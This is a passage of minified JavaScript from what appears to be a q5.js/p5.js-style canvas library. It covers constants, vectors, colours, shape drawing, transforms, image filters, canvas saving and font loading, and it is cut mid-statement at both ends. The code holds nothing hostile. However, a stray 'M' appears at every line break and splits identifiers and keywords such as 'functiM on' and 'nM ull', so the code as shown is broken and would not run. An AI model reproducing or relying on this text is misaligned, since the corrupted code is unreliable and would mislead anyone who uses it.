L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
